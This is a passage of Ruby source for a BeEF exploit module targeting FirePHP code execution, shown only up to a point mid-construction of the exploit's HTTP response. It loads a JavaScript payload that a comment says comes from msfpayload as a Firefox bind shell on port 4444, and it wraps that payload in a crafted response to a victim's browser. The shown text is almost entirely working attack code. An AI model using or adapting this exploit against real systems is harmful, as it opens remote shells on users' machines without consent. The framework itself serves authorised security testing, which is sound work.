# # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission ### # PoC by Wireghoul: http://www.justanotherhacker.com/advisories/jahx132.html ### class Firephp_code_exec < BeEF::Core::Command def pre_send rand_str = rand(32**10).to_s(32) # load payload.js file # generate payload: # msfpayload firefox/shell_bind_tcp LPORT=4444 R > payload.js payload = '' f = File.open("#{$root_dir}/modules/exploits/firephp/payload.js") f.each_line do |line| payload << line end f.close # construct exploit+payload HTTP response exploit = { 'RequestHeaders' => { '1' => rand(10).to_s, '2' => rand(10).to_s, '3' => rand(10).to_s, '4' => rand(10).to_s, '5' => rand(10).to_s, '6' => rand(10).to_s, '7' => rand(10).to_s, '8' => rand(10).to_s, '9' => rand(10).to_s, "